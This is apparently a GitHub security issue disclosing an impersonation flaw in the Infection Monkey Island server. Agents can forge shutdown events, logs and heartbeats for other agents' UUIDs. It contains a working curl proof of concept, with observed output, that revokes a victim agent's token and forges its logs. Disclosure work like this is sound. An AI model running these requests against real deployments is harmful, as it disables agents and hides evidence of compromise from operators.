Skip to content

Authenticated agent can inject events impersonating other agents, revoking their tokens #4299

Description

@geo-chen

Summary

An authenticated Infection Monkey agent can inject arbitrary agent events, including AgentShutdownEvent, with any other agent's UUID as the source field. Because the Island does not verify that the event's source matches the submitting agent's identity, this allows one agent to impersonate another. When a shutdown event is injected for a victim agent, the Island immediately revokes the victim agent's authentication token and marks it as stopped, causing a denial of service and falsifying the simulation's recorded state.

Details

Agent events are submitted via POST /api/agent-events in monkey/monkey_island/cc/resources/agent_events.py. The endpoint requires an AGENT-role token but performs no check that the source field inside each submitted event matches the identity of the authenticated caller:

# monkey/monkey_island/cc/resources/agent_events.py
@auth_token_required
@roles_accepted(AccountRole.AGENT.name)
def post(self):
    serialized_events = request.json
    deserialized_events = []
    for event in serialized_events:
        serializer = self._event_serializer_registry[event[EVENT_TYPE_FIELD]]
        deserialized_events.append(serializer.deserialize(event))  # source taken verbatim
    for deserialized_event in deserialized_events:
        self._agent_event_queue.publish(deserialized_event)
    return {}, HTTPStatus.NO_CONTENT

Agent users are created with username=str(agent_id) in agent_otp_login.py. A correct implementation would validate event.source == UUID(current_user.username) before accepting each event, but no such check exists.

When an AgentShutdownEvent is processed, two Island event handlers fire:

  1. update_agent_shutdown_status (cc/agent_event_handlers/update_agent_shutdown_status.py):

    def __call__(self, event: AbstractAgentEvent):
        agent_id = event.source      # taken verbatim from injected event
        agent = self._agent_repository.get_agent_by_id(agent_id)
        agent.stop_time = datetime.fromtimestamp(event.timestamp, tz=pytz.UTC)
        self._agent_repository.upsert_agent(agent)
  2. AgentUserRemover.remove_on_shutdown (cc/services/authentication_service/register_event_handlers.py):

    def remove_on_shutdown(self, event: AbstractAgentEvent):
        agent_id = event.source      # taken verbatim from injected event
        self._authentication_facade.remove_user(str(agent_id))

    remove_user calls revoke_all_tokens_for_user then delete_user, permanently revoking the victim's auth token.

The same missing check affects two additional agent-only endpoints:

  • PUT /api/agent-logs/<uuid:agent_id> (cc/services/log_service/flask_resources/agent_logs.py): any agent can overwrite the diagnostic logs stored for any other agent's UUID, enabling evidence tampering.
  • POST /api/agent/<uuid:agent_id>/heartbeat (cc/resources/agent_heartbeat.py): any agent can submit heartbeats attributed to any other agent's UUID, manipulating the liveness tracking used to set stop_time.

In a typical multi-hop BAS run, the parent agent passes its own UUID as the --parent flag when launching child agents, so each child already knows its parent's UUID and can target it.

PoC

Prerequisites: a running Infection Monkey Island (tested on v2.3.0), one registered operator account, and two agent sessions authenticated via the OTP flow.

ISLAND="https://localhost:5000"

# Step 0: register operator and obtain operator token
OPERATOR_TOKEN=$(curl -sk -X POST $ISLAND/api/register \
  -H "Content-Type: application/json" \
  -d '{"username":"operator","password":"Secure123!"}' \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['response']['user']['authentication_token'])")

# Step 1: create attacker agent session via OTP
OTP_A=$(curl -sk $ISLAND/api/agent-otp -H "Authentication-Token: $OPERATOR_TOKEN" \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['otp'])")
ATTACKER_UUID="aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa"
ATTACKER_TOKEN=$(curl -sk -X POST $ISLAND/api/agent-otp-login \
  -H "Content-Type: application/json" \
  -d "{\"agent_id\":\"$ATTACKER_UUID\",\"otp\":\"$OTP_A\"}" \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['response']['user']['authentication_token'])")

# Step 2: register attacker agent in the Island's agent repository
START=$(python3 -c "from datetime import datetime,timezone;print(datetime.now(timezone.utc).isoformat())")
curl -sk -o /dev/null -w "%{http_code}\n" -X POST $ISLAND/api/agents \
  -H "Authentication-Token: $ATTACKER_TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"id\":\"$ATTACKER_UUID\",\"machine_hardware_id\":100,\"start_time\":\"$START\",\"parent_id\":null,\"cc_server\":{\"ip\":\"127.0.0.1\",\"port\":5000},\"network_interfaces\":[\"10.0.0.1/24\"],\"sha256\":\"cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc\"}"
# expected: 204

# Step 3: create victim agent session via OTP
OTP_V=$(curl -sk $ISLAND/api/agent-otp -H "Authentication-Token: $OPERATOR_TOKEN" \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['otp'])")
VICTIM_UUID="bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb"
VICTIM_TOKEN=$(curl -sk -X POST $ISLAND/api/agent-otp-login \
  -H "Content-Type: application/json" \
  -d "{\"agent_id\":\"$VICTIM_UUID\",\"otp\":\"$OTP_V\"}" \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['response']['user']['authentication_token'])")

# Step 4: register victim agent (child of attacker)
curl -sk -o /dev/null -w "%{http_code}\n" -X POST $ISLAND/api/agents \
  -H "Authentication-Token: $VICTIM_TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"id\":\"$VICTIM_UUID\",\"machine_hardware_id\":200,\"start_time\":\"$START\",\"parent_id\":\"$ATTACKER_UUID\",\"cc_server\":{\"ip\":\"127.0.0.1\",\"port\":5000},\"network_interfaces\":[\"10.0.0.2/24\"],\"sha256\":\"dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd\"}"
# expected: 204

# Step 5: confirm victim token is valid before attack
curl -sk -o /dev/null -w "%{http_code}\n" $ISLAND/api/agent-configuration \
  -H "Authentication-Token: $VICTIM_TOKEN"
# expected: 200

# Step 6: attacker injects fake AgentShutdownEvent with victim's UUID as source
TS=$(python3 -c "import time;print(time.time())")
curl -sk -o /dev/null -w "%{http_code}\n" -X POST $ISLAND/api/agent-events \
  -H "Authentication-Token: $ATTACKER_TOKEN" \
  -H "Content-Type: application/json" \
  -d "[{\"type\":\"AgentShutdownEvent\",\"source\":\"$VICTIM_UUID\",\"timestamp\":$TS,\"tags\":[]}]"
# expected: 204

# Step 7: victim token is now revoked
curl -sk -o /dev/null -w "%{http_code}\n" $ISLAND/api/agent-configuration \
  -H "Authentication-Token: $VICTIM_TOKEN"
# expected: 401

# Step 8: operator confirms victim is falsely marked as stopped
curl -sk $ISLAND/api/agents -H "Authentication-Token: $OPERATOR_TOKEN" \
  | python3 -c "import sys,json; [print('stop_time:',a.get('stop_time')) for a in json.load(sys.stdin) if a['id']=='bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb']"
# expected: stop_time: 20XX-XX-XXTXX:XX:XX...

Observed output from a live test run:

Step 5 (victim token valid):  HTTP/1.1 200
Step 6 (inject shutdown):      HTTP/1.1 204
Step 7 (victim token revoked): HTTP/1.1 401
Step 8 (victim stop_time set): 2026-06-20T02:17:24.038867Z

The log-overwrite variant is equally straightforward:

# Attacker overwrites victim's diagnostic log
curl -sk -o /dev/null -w "%{http_code}\n" -X PUT \
  $ISLAND/api/agent-logs/$VICTIM_UUID \
  -H "Authentication-Token: $ATTACKER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '"Attacker forged this log entry"'
# expected: 204

# Operator reads victim log and sees forged content
curl -sk $ISLAND/api/agent-logs/$VICTIM_UUID \
  -H "Authentication-Token: $OPERATOR_TOKEN"
# expected: "Attacker forged this log entry"

Impact

Any authenticated Monkey agent can inject events on behalf of other agents without restriction. The most severe consequence is that the attacker agent can force-terminate any peer agent: the victim's Island authentication token is immediately revoked and it is marked as stopped, preventing it from completing any further work or reporting results. An agent executing on a compromised host can therefore silently disable the agents responsible for detecting or reporting that host's compromise.

Secondary impacts include: diagnostic log falsification (hiding exploitation evidence from the operator) and heartbeat spoofing (keeping a stopped agent appearing alive, or permanently extending a running agent's apparent lifetime).

Affected Versions: <= 2.3.0, confirmed on commit a55fc8d

Metadata

Metadata

Assignees

No one assigned

    Labels

    BugAn error, flaw, misbehavior or failure in the Monkey or Monkey Island.

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions